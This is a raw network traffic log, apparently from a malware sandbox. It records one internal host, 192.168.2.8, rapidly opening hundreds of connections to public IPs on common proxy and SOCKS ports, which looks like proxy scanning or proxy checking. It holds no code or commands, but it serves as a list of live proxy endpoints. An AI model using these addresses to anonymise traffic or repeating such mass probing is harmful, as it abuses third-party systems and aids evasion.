Mar 11, 2024 18:36:46.315630913 CET	50017	5385	192.168.2.8	72.10.160.170
Mar 11, 2024 18:36:46.315635920 CET	50022	3933	192.168.2.8	67.43.228.253
Mar 11, 2024 18:36:46.315651894 CET	50444	999	192.168.2.8	201.77.108.64
Mar 11, 2024 18:36:46.315654993 CET	50441	8080	192.168.2.8	186.233.25.83
Mar 11, 2024 18:36:46.315658092 CET	49843	3629	192.168.2.8	178.158.197.147
Mar 11, 2024 18:36:46.315660954 CET	50646	9125	192.168.2.8	178.253.201.11
Mar 11, 2024 18:36:46.315680027 CET	50021	31295	192.168.2.8	67.43.236.20
Mar 11, 2024 18:36:46.315680981 CET	49895	64768	192.168.2.8	173.212.250.16
Mar 11, 2024 18:36:46.315687895 CET	50446	8080	192.168.2.8	183.88.184.48
Mar 11, 2024 18:36:46.315690041 CET	50451	999	192.168.2.8	190.110.99.189
Mar 11, 2024 18:36:46.315716028 CET	50450	5678	192.168.2.8	91.247.92.63
Mar 11, 2024 18:36:46.317832947 CET	16379	50894	163.172.147.9	192.168.2.8
Mar 11, 2024 18:36:46.317917109 CET	50894	16379	192.168.2.8	163.172.147.9
Mar 11, 2024 18:36:46.318299055 CET	80	50471	39.105.5.126	192.168.2.8
Mar 11, 2024 18:36:46.319822073 CET	26887	51050	72.10.160.170	192.168.2.8
Mar 11, 2024 18:36:46.320058107 CET	6014	50057	45.11.95.166	192.168.2.8
Mar 11, 2024 18:36:46.321243048 CET	80	49919	50.175.212.74	192.168.2.8
Mar 11, 2024 18:36:46.321806908 CET	4145	51038	190.153.121.2	192.168.2.8
Mar 11, 2024 18:36:46.322144985 CET	51038	4145	192.168.2.8	190.153.121.2
Mar 11, 2024 18:36:46.322194099 CET	16691	50496	92.204.136.149	192.168.2.8
Mar 11, 2024 18:36:46.323427916 CET	8080	51019	91.148.127.162	192.168.2.8
Mar 11, 2024 18:36:46.323524952 CET	51019	8080	192.168.2.8	91.148.127.162
Mar 11, 2024 18:36:46.323689938 CET	80	50552	198.44.255.3	192.168.2.8
Mar 11, 2024 18:36:46.325201988 CET	16379	50539	163.172.171.22	192.168.2.8
Mar 11, 2024 18:36:46.325370073 CET	4145	51033	174.64.199.79	192.168.2.8
Mar 11, 2024 18:36:46.325611115 CET	8888	51059	66.45.246.194	192.168.2.8
Mar 11, 2024 18:36:46.326769114 CET	46783	50574	162.241.158.204	192.168.2.8
Mar 11, 2024 18:36:46.326879025 CET	51033	4145	192.168.2.8	174.64.199.79
Mar 11, 2024 18:36:46.326883078 CET	51059	8888	192.168.2.8	66.45.246.194
Mar 11, 2024 18:36:46.327128887 CET	24815	50279	95.217.104.21	192.168.2.8
Mar 11, 2024 18:36:46.328208923 CET	1929	51058	72.10.164.178	192.168.2.8
Mar 11, 2024 18:36:46.328562021 CET	33590	49736	85.120.30.66	192.168.2.8
Mar 11, 2024 18:36:46.329216957 CET	80	50370	50.173.140.149	192.168.2.8
Mar 11, 2024 18:36:46.329237938 CET	80	51097	154.208.10.126	192.168.2.8
Mar 11, 2024 18:36:46.330930948 CET	51097	80	192.168.2.8	154.208.10.126
Mar 11, 2024 18:36:46.331243038 CET	50039	8000	192.168.2.8	137.184.200.42
Mar 11, 2024 18:36:46.331257105 CET	50036	26087	192.168.2.8	67.43.228.251
Mar 11, 2024 18:36:46.331262112 CET	50457	3128	192.168.2.8	15.207.196.77
Mar 11, 2024 18:36:46.331268072 CET	50449	3128	192.168.2.8	193.239.86.248
Mar 11, 2024 18:36:46.331506968 CET	80	51061	50.168.72.113	192.168.2.8
Mar 11, 2024 18:36:46.331618071 CET	50443	53777	192.168.2.8	104.238.111.107
Mar 11, 2024 18:36:46.331639051 CET	50454	16379	192.168.2.8	51.158.105.107
Mar 11, 2024 18:36:46.331639051 CET	50456	80	192.168.2.8	82.97.215.240
Mar 11, 2024 18:36:46.331646919 CET	50459	80	192.168.2.8	217.112.80.252
Mar 11, 2024 18:36:46.331646919 CET	50464	999	192.168.2.8	157.100.56.40
Mar 11, 2024 18:36:46.331746101 CET	50466	3128	192.168.2.8	2.179.193.146
Mar 11, 2024 18:36:46.331769943 CET	3128	50315	194.145.209.187	192.168.2.8
Mar 11, 2024 18:36:46.332665920 CET	51164	57676	192.168.2.8	67.227.186.23
Mar 11, 2024 18:36:46.333003044 CET	4145	51101	184.181.217.210	192.168.2.8
Mar 11, 2024 18:36:46.333077908 CET	51101	4145	192.168.2.8	184.181.217.210
Mar 11, 2024 18:36:46.333242893 CET	4145	51037	184.181.217.194	192.168.2.8
Mar 11, 2024 18:36:46.333302975 CET	80	50499	3.127.62.252	192.168.2.8
Mar 11, 2024 18:36:46.333414078 CET	51037	4145	192.168.2.8	184.181.217.194
Mar 11, 2024 18:36:46.333637953 CET	51165	8080	192.168.2.8	217.172.122.14
Mar 11, 2024 18:36:46.334400892 CET	4145	50961	72.195.114.169	192.168.2.8
Mar 11, 2024 18:36:46.334424973 CET	4145	50961	72.195.114.169	192.168.2.8
Mar 11, 2024 18:36:46.334584951 CET	80	50094	190.128.241.102	192.168.2.8
Mar 11, 2024 18:36:46.334722042 CET	50094	80	192.168.2.8	190.128.241.102
Mar 11, 2024 18:36:46.335596085 CET	8000	49884	178.128.156.219	192.168.2.8
Mar 11, 2024 18:36:46.336415052 CET	8889	50235	216.176.187.99	192.168.2.8
Mar 11, 2024 18:36:46.336468935 CET	4145	51081	74.119.147.209	192.168.2.8
Mar 11, 2024 18:36:46.336493969 CET	50235	8889	192.168.2.8	216.176.187.99
Mar 11, 2024 18:36:46.337407112 CET	3128	51006	38.54.95.19	192.168.2.8
Mar 11, 2024 18:36:46.337655067 CET	5123	50511	72.10.160.92	192.168.2.8
Mar 11, 2024 18:36:46.337997913 CET	4145	51098	199.102.107.145	192.168.2.8
Mar 11, 2024 18:36:46.339304924 CET	16379	50620	51.158.64.130	192.168.2.8
Mar 11, 2024 18:36:46.340773106 CET	3128	50319	46.101.102.134	192.168.2.8
Mar 11, 2024 18:36:46.341408014 CET	1080	50371	202.162.219.10	192.168.2.8
Mar 11, 2024 18:36:46.342350006 CET	51535	50592	162.241.66.135	192.168.2.8
Mar 11, 2024 18:36:46.342463017 CET	60651	50605	162.241.6.97	192.168.2.8
Mar 11, 2024 18:36:46.342942953 CET	55994	50556	38.127.172.219	192.168.2.8
Mar 11, 2024 18:36:46.344389915 CET	34560	50548	108.181.132.117	192.168.2.8
Mar 11, 2024 18:36:46.345237017 CET	7777	50027	111.8.155.54	192.168.2.8
Mar 11, 2024 18:36:46.345366955 CET	50027	7777	192.168.2.8	111.8.155.54
Mar 11, 2024 18:36:46.346266031 CET	16379	51027	163.172.171.22	192.168.2.8
Mar 11, 2024 18:36:46.346354961 CET	51027	16379	192.168.2.8	163.172.171.22
Mar 11, 2024 18:36:46.346863031 CET	50712	13087	192.168.2.8	67.43.236.18
Mar 11, 2024 18:36:46.346864939 CET	50329	9123	192.168.2.8	173.249.29.243
Mar 11, 2024 18:36:46.346885920 CET	50718	10677	192.168.2.8	72.10.160.173
Mar 11, 2024 18:36:46.346889019 CET	50813	4145	192.168.2.8	142.54.232.6
Mar 11, 2024 18:36:46.346889973 CET	50455	8080	192.168.2.8	186.103.130.91
Mar 11, 2024 18:36:46.346889973 CET	50575	4153	192.168.2.8	185.22.31.227
Mar 11, 2024 18:36:46.346894026 CET	50805	4145	192.168.2.8	192.111.134.10
Mar 11, 2024 18:36:46.346911907 CET	50462	59559	192.168.2.8	192.163.200.80
Mar 11, 2024 18:36:46.346914053 CET	50461	8888	192.168.2.8	23.94.123.243
Mar 11, 2024 18:36:46.346914053 CET	50569	3128	192.168.2.8	3.212.148.199
Mar 11, 2024 18:36:46.346918106 CET	50469	6060	192.168.2.8	185.165.232.65
Mar 11, 2024 18:36:46.346925020 CET	50465	27391	192.168.2.8	72.195.34.60
Mar 11, 2024 18:36:46.346925020 CET	50754	80	192.168.2.8	50.207.199.80
Mar 11, 2024 18:36:46.346925020 CET	49909	3128	192.168.2.8	194.182.187.78
Mar 11, 2024 18:36:46.346975088 CET	80	50767	123.110.158.236	192.168.2.8
Mar 11, 2024 18:36:46.347820997 CET	14282	50550	192.252.208.70	192.168.2.8
Mar 11, 2024 18:36:46.347887993 CET	50550	14282	192.168.2.8	192.252.208.70
Mar 11, 2024 18:36:46.348247051 CET	8000	50127	103.182.112.11	192.168.2.8
Mar 11, 2024 18:36:46.348705053 CET	51167	80	192.168.2.8	142.11.222.22
Mar 11, 2024 18:36:46.348866940 CET	80	50387	50.218.57.68	192.168.2.8
Mar 11, 2024 18:36:46.349328041 CET	51168	999	192.168.2.8	187.102.238.49
Mar 11, 2024 18:36:46.349626064 CET	3128	50603	185.191.236.162	192.168.2.8
Mar 11, 2024 18:36:46.349791050 CET	51169	54917	192.168.2.8	162.214.225.223
Mar 11, 2024 18:36:46.350351095 CET	51170	80	192.168.2.8	104.19.247.62
Mar 11, 2024 18:36:46.350356102 CET	51171	8089	192.168.2.8	111.225.152.191
Mar 11, 2024 18:36:46.351155996 CET	51172	40750	192.168.2.8	209.126.104.38
Mar 11, 2024 18:36:46.351162910 CET	51173	60103	192.168.2.8	95.165.163.188
Mar 11, 2024 18:36:46.352101088 CET	80	50866	46.35.9.110	192.168.2.8
Mar 11, 2024 18:36:46.352209091 CET	51174	8080	192.168.2.8	45.201.134.38
Mar 11, 2024 18:36:46.352858067 CET	51175	11793	192.168.2.8	209.97.176.112
Mar 11, 2024 18:36:46.353240967 CET	1081	50544	5.252.23.220	192.168.2.8
Mar 11, 2024 18:36:46.353260994 CET	24397	50533	72.10.160.90	192.168.2.8
Mar 11, 2024 18:36:46.353521109 CET	51176	15410	192.168.2.8	72.167.38.7
Mar 11, 2024 18:36:46.355003119 CET	9000	50878	122.116.150.2	192.168.2.8
Mar 11, 2024 18:36:46.355916977 CET	55137	50010	192.169.197.146	192.168.2.8
Mar 11, 2024 18:36:46.356122971 CET	80	51122	104.16.224.33	192.168.2.8
Mar 11, 2024 18:36:46.356287003 CET	51122	80	192.168.2.8	104.16.224.33
Mar 11, 2024 18:36:46.356803894 CET	51177	43265	192.168.2.8	162.214.225.223
Mar 11, 2024 18:36:46.358195066 CET	3128	50468	18.135.211.182	192.168.2.8
Mar 11, 2024 18:36:46.359126091 CET	80	50870	47.242.234.237	192.168.2.8
Mar 11, 2024 18:36:46.359565020 CET	80	50870	47.242.234.237	192.168.2.8
Mar 11, 2024 18:36:46.359818935 CET	9002	50505	120.197.40.219	192.168.2.8
Mar 11, 2024 18:36:46.359899998 CET	50505	9002	192.168.2.8	120.197.40.219
Mar 11, 2024 18:36:46.359905958 CET	50870	80	192.168.2.8	47.242.234.237
Mar 11, 2024 18:36:46.361041069 CET	8090	49900	119.28.60.64	192.168.2.8
Mar 11, 2024 18:36:46.361057997 CET	8090	49900	119.28.60.64	192.168.2.8
Mar 11, 2024 18:36:46.361129999 CET	49900	8090	192.168.2.8	119.28.60.64
Mar 11, 2024 18:36:46.362493992 CET	50745	11339	192.168.2.8	67.43.228.251
Mar 11, 2024 18:36:46.362509012 CET	50685	80	192.168.2.8	50.174.214.222
Mar 11, 2024 18:36:46.362510920 CET	50470	14287	192.168.2.8	64.227.108.182
Mar 11, 2024 18:36:46.362509012 CET	50755	80	192.168.2.8	50.175.212.79
Mar 11, 2024 18:36:46.362528086 CET	50475	999	192.168.2.8	45.224.20.68
Mar 11, 2024 18:36:46.362534046 CET	50794	80	192.168.2.8	50.207.199.87
Mar 11, 2024 18:36:46.362534046 CET	49977	80	192.168.2.8	50.172.75.125
Mar 11, 2024 18:36:46.362538099 CET	50473	8080	192.168.2.8	112.78.164.248
Mar 11, 2024 18:36:46.362538099 CET	50478	8080	192.168.2.8	1.0.171.213
Mar 11, 2024 18:36:46.362539053 CET	50481	63951	192.168.2.8	107.180.95.177
Mar 11, 2024 18:36:46.362543106 CET	50477	8085	192.168.2.8	191.102.254.54
Mar 11, 2024 18:36:46.362545013 CET	50482	57642	192.168.2.8	107.180.88.41
Mar 11, 2024 18:36:46.362555027 CET	50502	80	192.168.2.8	172.173.132.85
Mar 11, 2024 18:36:46.362555027 CET	50494	4153	192.168.2.8	109.86.220.12
Mar 11, 2024 18:36:46.362557888 CET	50497	8080	192.168.2.8	14.143.172.238
Mar 11, 2024 18:36:46.362557888 CET	50501	1080	192.168.2.8	103.47.93.236
Mar 11, 2024 18:36:46.362560034 CET	50507	1981	192.168.2.8	156.200.116.71
Mar 11, 2024 18:36:46.362564087 CET	50493	17982	192.168.2.8	51.89.173.40
Mar 11, 2024 18:36:46.362564087 CET	50486	9090	192.168.2.8	103.105.76.214
Mar 11, 2024 18:36:46.362576008 CET	50492	5678	192.168.2.8	197.251.236.227
Mar 11, 2024 18:36:46.362579107 CET	50510	25256	192.168.2.8	94.23.220.136
Mar 11, 2024 18:36:46.362580061 CET	50018	80	192.168.2.8	50.168.210.239
Mar 11, 2024 18:36:46.363050938 CET	51178	8080	192.168.2.8	103.83.80.67
Mar 11, 2024 18:36:46.363073111 CET	16379	50894	163.172.147.9	192.168.2.8
Mar 11, 2024 18:36:46.363236904 CET	8000	50285	167.172.79.17	192.168.2.8
Mar 11, 2024 18:36:46.363631964 CET	80	50552	198.44.255.3	192.168.2.8
Mar 11, 2024 18:36:46.364176989 CET	4153	50103	203.76.117.74	192.168.2.8
Mar 11, 2024 18:36:46.364494085 CET	31679	51063	98.162.25.29	192.168.2.8
Mar 11, 2024 18:36:46.364600897 CET	51063	31679	192.168.2.8	98.162.25.29
Mar 11, 2024 18:36:46.364725113 CET	80	51031	198.44.255.3	192.168.2.8
Mar 11, 2024 18:36:46.364871025 CET	51031	80	192.168.2.8	198.44.255.3
Mar 11, 2024 18:36:46.365325928 CET	51180	5678	192.168.2.8	46.231.72.35
Mar 11, 2024 18:36:46.366399050 CET	16379	50620	51.158.64.130	192.168.2.8
Mar 11, 2024 18:36:46.366537094 CET	51181	29985	192.168.2.8	154.12.178.107
Mar 11, 2024 18:36:46.366744041 CET	16379	51035	51.158.64.130	192.168.2.8
Mar 11, 2024 18:36:46.366806984 CET	51035	16379	192.168.2.8	51.158.64.130
Mar 11, 2024 18:36:46.367055893 CET	80	50884	106.14.255.124	192.168.2.8
Mar 11, 2024 18:36:46.367295027 CET	50884	80	192.168.2.8	106.14.255.124
Mar 11, 2024 18:36:46.367460966 CET	4145	50213	68.1.210.163	192.168.2.8
Mar 11, 2024 18:36:46.367574930 CET	50213	4145	192.168.2.8	68.1.210.163
Mar 11, 2024 18:36:46.367672920 CET	51182	25492	192.168.2.8	50.63.12.33
Mar 11, 2024 18:36:46.367870092 CET	4145	50214	24.249.199.4	192.168.2.8
Mar 11, 2024 18:36:46.367950916 CET	50214	4145	192.168.2.8	24.249.199.4
Mar 11, 2024 18:36:46.368665934 CET	80	50804	89.31.143.12	192.168.2.8
Mar 11, 2024 18:36:46.368875980 CET	80	50804	89.31.143.12	192.168.2.8
Mar 11, 2024 18:36:46.368892908 CET	80	50804	89.31.143.12	192.168.2.8
Mar 11, 2024 18:36:46.368958950 CET	50804	80	192.168.2.8	89.31.143.12
Mar 11, 2024 18:36:46.369129896 CET	80	49892	50.168.72.112	192.168.2.8
Mar 11, 2024 18:36:46.369194031 CET	49835	3129	192.168.2.8	20.204.212.76
Mar 11, 2024 18:36:46.369199038 CET	50491	3128	192.168.2.8	107.155.65.11
Mar 11, 2024 18:36:46.369204998 CET	50271	10722	192.168.2.8	192.163.202.88
Mar 11, 2024 18:36:46.369214058 CET	50498	80	192.168.2.8	35.196.18.239
Mar 11, 2024 18:36:46.369590044 CET	5529	50563	72.10.164.178	192.168.2.8
Mar 11, 2024 18:36:46.369616985 CET	51183	20309	192.168.2.8	107.180.90.88
Mar 11, 2024 18:36:46.370994091 CET	64654	50339	162.19.7.53	192.168.2.8
Mar 11, 2024 18:36:46.371030092 CET	51184	5870	192.168.2.8	141.95.160.178
Mar 11, 2024 18:36:46.372195959 CET	80	50471	39.105.5.126	192.168.2.8
Mar 11, 2024 18:36:46.372411966 CET	51185	8888	192.168.2.8	203.74.125.18
Mar 11, 2024 18:36:46.373210907 CET	51186	5678	192.168.2.8	14.207.206.27
Mar 11, 2024 18:36:46.374176025 CET	80	50512	51.75.74.18	192.168.2.8
Mar 11, 2024 18:36:46.374521971 CET	51187	8080	192.168.2.8	153.139.233.218
Mar 11, 2024 18:36:46.374604940 CET	9090	50174	189.240.60.163	192.168.2.8
Mar 11, 2024 18:36:46.374778032 CET	50174	9090	192.168.2.8	189.240.60.163
Mar 11, 2024 18:36:46.375761032 CET	51188	666	192.168.2.8	107.172.0.177
Mar 11, 2024 18:36:46.377274036 CET	80	50840	52.67.10.183	192.168.2.8
Mar 11, 2024 18:36:46.377299070 CET	999	50487	190.71.24.129	192.168.2.8
Mar 11, 2024 18:36:46.377793074 CET	51190	443	192.168.2.8	222.255.238.159
Mar 11, 2024 18:36:46.377811909 CET	443	51190	222.255.238.159	192.168.2.8
Mar 11, 2024 18:36:46.377897024 CET	51190	443	192.168.2.8	222.255.238.159
Mar 11, 2024 18:36:46.377903938 CET	50878	9000	192.168.2.8	122.116.150.2
Mar 11, 2024 18:36:46.378107071 CET	50499	80	192.168.2.8	3.127.62.252
Mar 11, 2024 18:36:46.378109932 CET	50476	3128	192.168.2.8	86.107.178.103
Mar 11, 2024 18:36:46.378130913 CET	50515	3629	192.168.2.8	185.215.53.241
Mar 11, 2024 18:36:46.378132105 CET	50513	80	192.168.2.8	115.244.127.162
Mar 11, 2024 18:36:46.378134012 CET	50506	80	192.168.2.8	3.128.142.113
Mar 11, 2024 18:36:46.378135920 CET	50489	8080	192.168.2.8	194.124.36.75
Mar 11, 2024 18:36:46.378142118 CET	50516	8080	192.168.2.8	103.164.58.190
Mar 11, 2024 18:36:46.378142118 CET	50484	3128	192.168.2.8	84.17.51.241
Mar 11, 2024 18:36:46.378142118 CET	50518	9999	192.168.2.8	102.134.181.142
Mar 11, 2024 18:36:46.378144979 CET	50517	8080	192.168.2.8	213.244.91.179
Mar 11, 2024 18:36:46.378142118 CET	50531	8893	192.168.2.8	186.215.87.194
Mar 11, 2024 18:36:46.378142118 CET	50534	22450	192.168.2.8	50.63.12.33
Mar 11, 2024 18:36:46.378149033 CET	50521	2906	192.168.2.8	148.72.209.174
Mar 11, 2024 18:36:46.378158092 CET	50526	3128	192.168.2.8	91.233.223.147
Mar 11, 2024 18:36:46.378160954 CET	50524	8080	192.168.2.8	20.205.115.87
Mar 11, 2024 18:36:46.378160954 CET	50529	9812	192.168.2.8	12.7.109.1
Mar 11, 2024 18:36:46.378299952 CET	51191	9000	192.168.2.8	122.116.150.2
Mar 11, 2024 18:36:46.378518105 CET	51189	22942	192.168.2.8	92.204.135.37
Mar 11, 2024 18:36:46.378524065 CET	50894	16379	192.168.2.8	163.172.147.9
Mar 11, 2024 18:36:46.378611088 CET	51192	16379	192.168.2.8	163.172.147.9
Mar 11, 2024 18:36:46.378717899 CET	4145	51072	72.195.34.41	192.168.2.8
Mar 11, 2024 18:36:46.378734112 CET	8089	50192	114.232.109.43	192.168.2.8
Mar 11, 2024 18:36:46.378755093 CET	51038	4145	192.168.2.8	190.153.121.2
Mar 11, 2024 18:36:46.378815889 CET	51072	4145	192.168.2.8	72.195.34.41
Mar 11, 2024 18:36:46.378870964 CET	51019	8080	192.168.2.8	91.148.127.162
Mar 11, 2024 18:36:46.378926039 CET	3129	50177	20.204.214.79	192.168.2.8
Mar 11, 2024 18:36:46.378943920 CET	80	50840	52.67.10.183	192.168.2.8
Mar 11, 2024 18:36:46.379008055 CET	51033	4145	192.168.2.8	174.64.199.79
Mar 11, 2024 18:36:46.379201889 CET	51059	8888	192.168.2.8	66.45.246.194
Mar 11, 2024 18:36:46.379261017 CET	51097	80	192.168.2.8	154.208.10.126
Mar 11, 2024 18:36:46.379343033 CET	51037	4145	192.168.2.8	184.181.217.194
Mar 11, 2024 18:36:46.380176067 CET	51193	4145	192.168.2.8	72.195.114.169
Mar 11, 2024 18:36:46.380182028 CET	50094	80	192.168.2.8	190.128.241.102
Mar 11, 2024 18:36:46.380513906 CET	50235	8889	192.168.2.8	216.176.187.99
Mar 11, 2024 18:36:46.380573034 CET	50027	7777	192.168.2.8	111.8.155.54
Mar 11, 2024 18:36:46.380670071 CET	51027	16379	192.168.2.8	163.172.171.22
Mar 11, 2024 18:36:46.380783081 CET	50550	14282	192.168.2.8	192.252.208.70
Mar 11, 2024 18:36:46.381098986 CET	50603	3128	192.168.2.8	185.191.236.162
Mar 11, 2024 18:36:46.381186962 CET	51122	80	192.168.2.8	104.16.224.33
Mar 11, 2024 18:36:46.381297112 CET	50870	80	192.168.2.8	47.242.234.237
Mar 11, 2024 18:36:46.381443024 CET	51194	80	192.168.2.8	47.242.234.237
Mar 11, 2024 18:36:46.381938934 CET	51063	31679	192.168.2.8	98.162.25.29
Mar 11, 2024 18:36:46.382013083 CET	50505	9002	192.168.2.8	120.197.40.219
Mar 11, 2024 18:36:46.382090092 CET	51031	80	192.168.2.8	198.44.255.3
Mar 11, 2024 18:36:46.382147074 CET	51035	16379	192.168.2.8	51.158.64.130
Mar 11, 2024 18:36:46.382206917 CET	50884	80	192.168.2.8	106.14.255.124
Mar 11, 2024 18:36:46.382508039 CET	51195	80	192.168.2.8	106.14.255.124
Mar 11, 2024 18:36:46.382774115 CET	51196	62969	192.168.2.8	92.204.135.37
Mar 11, 2024 18:36:46.383053064 CET	50213	4145	192.168.2.8	68.1.210.163
Mar 11, 2024 18:36:46.383066893 CET	51197	8080	192.168.2.8	102.216.69.176
Mar 11, 2024 18:36:46.383411884 CET	50214	4145	192.168.2.8	24.249.199.4
Mar 11, 2024 18:36:46.383505106 CET	50804	80	192.168.2.8	89.31.143.12
Mar 11, 2024 18:36:46.383632898 CET	41491	50397	167.172.109.12	192.168.2.8
Mar 11, 2024 18:36:46.383970976 CET	80	50978	172.67.182.96	192.168.2.8
Mar 11, 2024 18:36:46.384778976 CET	50174	9090	192.168.2.8	189.240.60.163
Mar 11, 2024 18:36:46.385287046 CET	51190	443	192.168.2.8	222.255.238.159
Mar 11, 2024 18:36:46.385302067 CET	443	51190	222.255.238.159	192.168.2.8
Mar 11, 2024 18:36:46.385509968 CET	51198	80	192.168.2.8	68.185.57.66
Mar 11, 2024 18:36:46.385518074 CET	51072	4145	192.168.2.8	72.195.34.41
Mar 11, 2024 18:36:46.386023998 CET	50840	80	192.168.2.8	52.67.10.183
Mar 11, 2024 18:36:46.387029886 CET	80	51117	50.200.12.82	192.168.2.8
Mar 11, 2024 18:36:46.387053967 CET	80	50990	45.12.30.231	192.168.2.8
Mar 11, 2024 18:36:46.387382984 CET	3128	51044	45.159.189.244	192.168.2.8
Mar 11, 2024 18:36:46.387514114 CET	51044	3128	192.168.2.8	45.159.189.244
Mar 11, 2024 18:36:46.387687922 CET	7497	51039	51.178.51.28	192.168.2.8
Mar 11, 2024 18:36:46.388926029 CET	8888	50541	31.43.158.108	192.168.2.8
Mar 11, 2024 18:36:46.389580965 CET	50499	80	192.168.2.8	3.127.62.252
Mar 11, 2024 18:36:46.389708996 CET	51044	3128	192.168.2.8	45.159.189.244
Mar 11, 2024 18:36:46.390427113 CET	51199	80	192.168.2.8	50.172.39.98
Mar 11, 2024 18:36:46.390791893 CET	51200	8080	192.168.2.8	79.110.119.181
Mar 11, 2024 18:36:46.391319990 CET	51201	80	192.168.2.8	162.241.207.217
Mar 11, 2024 18:36:46.391932011 CET	1081	51034	5.252.23.220	192.168.2.8
Mar 11, 2024 18:36:46.392013073 CET	51034	1081	192.168.2.8	5.252.23.220
Mar 11, 2024 18:36:46.392137051 CET	15673	51036	43.131.245.216	192.168.2.8
Mar 11, 2024 18:36:46.392153978 CET	39452	50381	167.172.109.12	192.168.2.8
Mar 11, 2024 18:36:46.392214060 CET	51034	1081	192.168.2.8	5.252.23.220
Mar 11, 2024 18:36:46.392230988 CET	51036	15673	192.168.2.8	43.131.245.216
Mar 11, 2024 18:36:46.392460108 CET	51036	15673	192.168.2.8	43.131.245.216
Mar 11, 2024 18:36:46.393343925 CET	5678	49760	178.212.51.79	192.168.2.8
Mar 11, 2024 18:36:46.393750906 CET	50522	51251	192.168.2.8	49.12.126.53
Mar 11, 2024 18:36:46.393753052 CET	50519	30453	192.168.2.8	174.136.57.169
Mar 11, 2024 18:36:46.393753052 CET	50523	5678	192.168.2.8	36.95.189.165
Mar 11, 2024 18:36:46.393779039 CET	50780	23685	192.168.2.8	72.10.160.90
Mar 11, 2024 18:36:46.393779993 CET	50530	25810	192.168.2.8	146.59.18.246
Mar 11, 2024 18:36:46.393779993 CET	50774	5369	192.168.2.8	72.10.160.171
Mar 11, 2024 18:36:46.393779993 CET	50537	999	192.168.2.8	167.250.222.233
Mar 11, 2024 18:36:46.393780947 CET	49948	80	192.168.2.8	50.170.90.24
Mar 11, 2024 18:36:46.393785000 CET	50528	80	192.168.2.8	152.32.132.220
Mar 11, 2024 18:36:46.393789053 CET	50540	8089	192.168.2.8	223.247.47.231
Mar 11, 2024 18:36:46.393810034 CET	50546	25525	192.168.2.8	162.19.7.61
Mar 11, 2024 18:36:46.394289970 CET	5432	50885	45.196.148.67	192.168.2.8
Mar 11, 2024 18:36:46.394362926 CET	51202	3256	192.168.2.8	119.84.215.127
Mar 11, 2024 18:36:46.394790888 CET	80	50884	106.14.255.124	192.168.2.8
Mar 11, 2024 18:36:46.395829916 CET	51203	39533	192.168.2.8	167.172.109.12
Mar 11, 2024 18:36:46.395873070 CET	9090	50761	91.241.217.58	192.168.2.8
Mar 11, 2024 18:36:46.395953894 CET	50761	9090	192.168.2.8	91.241.217.58
Mar 11, 2024 18:36:46.396200895 CET	50761	9090	192.168.2.8	91.241.217.58
Mar 11, 2024 18:36:46.396492004 CET	51204	9090	192.168.2.8	91.241.217.58
Mar 11, 2024 18:36:46.396719933 CET	8888	50256	3.25.234.175	192.168.2.8
Mar 11, 2024 18:36:46.397279024 CET	80	50917	47.93.121.200	192.168.2.8
Mar 11, 2024 18:36:46.397636890 CET	80	50614	58.234.116.197	192.168.2.8
Mar 11, 2024 18:36:46.397938013 CET	51205	13341	192.168.2.8	72.10.164.178
Mar 11, 2024 18:36:46.398391962 CET	80	50917	47.93.121.200	192.168.2.8
Mar 11, 2024 18:36:46.398407936 CET	51206	20806	192.168.2.8	119.29.84.133
Mar 11, 2024 18:36:46.399205923 CET	8123	49759	20.24.43.214	192.168.2.8
Mar 11, 2024 18:36:46.399883986 CET	8888	50426	188.166.30.17	192.168.2.8
Mar 11, 2024 18:36:46.399924994 CET	4145	51085	174.64.199.82	192.168.2.8
Mar 11, 2024 18:36:46.400105953 CET	51085	4145	192.168.2.8	174.64.199.82
Mar 11, 2024 18:36:46.400580883 CET	51207	8080	192.168.2.8	139.0.6.11
Mar 11, 2024 18:36:46.400717974 CET	1080	49886	89.187.216.58	192.168.2.8
Mar 11, 2024 18:36:46.400736094 CET	6005	50765	45.11.95.166	192.168.2.8
Mar 11, 2024 18:36:46.400940895 CET	1080	49886	89.187.216.58	192.168.2.8
Mar 11, 2024 18:36:46.401011944 CET	49886	1080	192.168.2.8	89.187.216.58
Mar 11, 2024 18:36:46.401271105 CET	15673	50891	43.155.165.196	192.168.2.8
Mar 11, 2024 18:36:46.402343988 CET	80	51011	162.159.246.135	192.168.2.8
Mar 11, 2024 18:36:46.402782917 CET	51208	4145	192.168.2.8	125.26.4.197
Mar 11, 2024 18:36:46.403000116 CET	4145	49729	152.32.78.24	192.168.2.8
Mar 11, 2024 18:36:46.403156996 CET	59870	49980	37.187.77.58	192.168.2.8
Mar 11, 2024 18:36:46.403217077 CET	49980	59870	192.168.2.8	37.187.77.58
Mar 11, 2024 18:36:46.403995037 CET	80	50614	58.234.116.197	192.168.2.8
Mar 11, 2024 18:36:46.405451059 CET	5034	51030	45.11.95.165	192.168.2.8
Mar 11, 2024 18:36:46.405546904 CET	51030	5034	192.168.2.8	45.11.95.165
Mar 11, 2024 18:36:46.405687094 CET	80	51046	58.234.116.197	192.168.2.8
Mar 11, 2024 18:36:46.405826092 CET	51046	80	192.168.2.8	58.234.116.197
Mar 11, 2024 18:36:46.406132936 CET	51209	18936	192.168.2.8	37.187.77.58
Mar 11, 2024 18:36:46.407716990 CET	51210	8080	192.168.2.8	103.24.107.186
Mar 11, 2024 18:36:46.407810926 CET	15673	50891	43.155.165.196	192.168.2.8
Mar 11, 2024 18:36:46.407985926 CET	5678	51103	190.113.90.230	192.168.2.8
Mar 11, 2024 18:36:46.408020020 CET	80	50415	133.232.90.96	192.168.2.8
Mar 11, 2024 18:36:46.408073902 CET	80	51135	162.159.242.10	192.168.2.8
Mar 11, 2024 18:36:46.408205032 CET	51135	80	192.168.2.8	162.159.242.10
Mar 11, 2024 18:36:46.408356905 CET	8888	50541	31.43.158.108	192.168.2.8
Mar 11, 2024 18:36:46.409353018 CET	8888	51040	31.43.158.108	192.168.2.8
Mar 11, 2024 18:36:46.409384966 CET	50799	1372	192.168.2.8	159.223.166.21
Mar 11, 2024 18:36:46.409384966 CET	49784	8080	192.168.2.8	42.200.196.208
Mar 11, 2024 18:36:46.409410000 CET	50678	1080	192.168.2.8	195.98.93.234
Mar 11, 2024 18:36:46.409410000 CET	50557	4153	192.168.2.8	176.197.144.158
Mar 11, 2024 18:36:46.409411907 CET	50538	85	192.168.2.8	43.255.113.232
Mar 11, 2024 18:36:46.409411907 CET	50825	18129	192.168.2.8	67.43.236.20
Mar 11, 2024 18:36:46.409415007 CET	50852	80	192.168.2.8	34.75.202.63
Mar 11, 2024 18:36:46.409421921 CET	50543	999	192.168.2.8	179.1.133.33
Mar 11, 2024 18:36:46.409425974 CET	50547	999	192.168.2.8	168.90.255.60
